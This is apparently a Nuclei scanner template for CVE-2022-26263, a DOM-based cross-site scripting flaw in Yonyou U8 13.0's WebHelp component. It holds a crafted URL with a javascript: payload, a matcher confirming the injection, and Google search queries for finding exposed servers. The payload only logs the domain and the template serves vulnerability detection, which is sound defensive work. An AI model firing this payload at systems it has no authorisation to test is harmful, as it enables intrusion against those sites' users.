id: CVE-2022-26263

info:
  name: Yonyou U8 13.0 - Cross-Site Scripting
  author: edoardottt,theamanrawat
  severity: medium
  description: |
    Yonyou U8 13.0 contains a DOM-based cross-site scripting vulnerability via the component /u8sl/WebHelp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Yonyou U8 13.0 application.
  reference:
    - https://github.com/s7safe/CVE/blob/main/CVE-2022-26263.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26263
    - http://yonyou.com
    - https://www.yonyou.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-26263
    cwe-id: CWE-79
    epss-score: 0.37682
    epss-percentile: 0.98348
    cpe: cpe:2.3:a:yonyou:u8\+:13.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: yonyou
    product: u8\+
    google-query:
      - inurl:/u8sl/WebHelp
      - inurl:/u8sl/webhelp
  tags: cve,cve2022,yonyou,xss,headless,vuln
headless:
  - steps:
      - args:
          url: '{{BaseURL}}/U8SL/WebHelp/PB_Por_zh-CN.htm?wvstest=javascript:domxssExecutionSink(1,"%27"><xsstag>()locxss")#javascript:console.log(document.domain)'
        action: navigate

      - action: waitload
    matchers:
      - type: word
        words:
          - '<frame src="javascript:console.log(document.domain)"'
          - 'webhelp4.js'
        condition: and
# digest: 4b0a004830460221008583a49663f2a44174a7864a605ef9280b22cc4992044b20218b5cff797cf3d0022100e86a0c3592199f0fead2d9c1e7a79aceb4d23096ae75ca8263e748ee38f2f78b:922c64590222798bb761d5b6d8e72950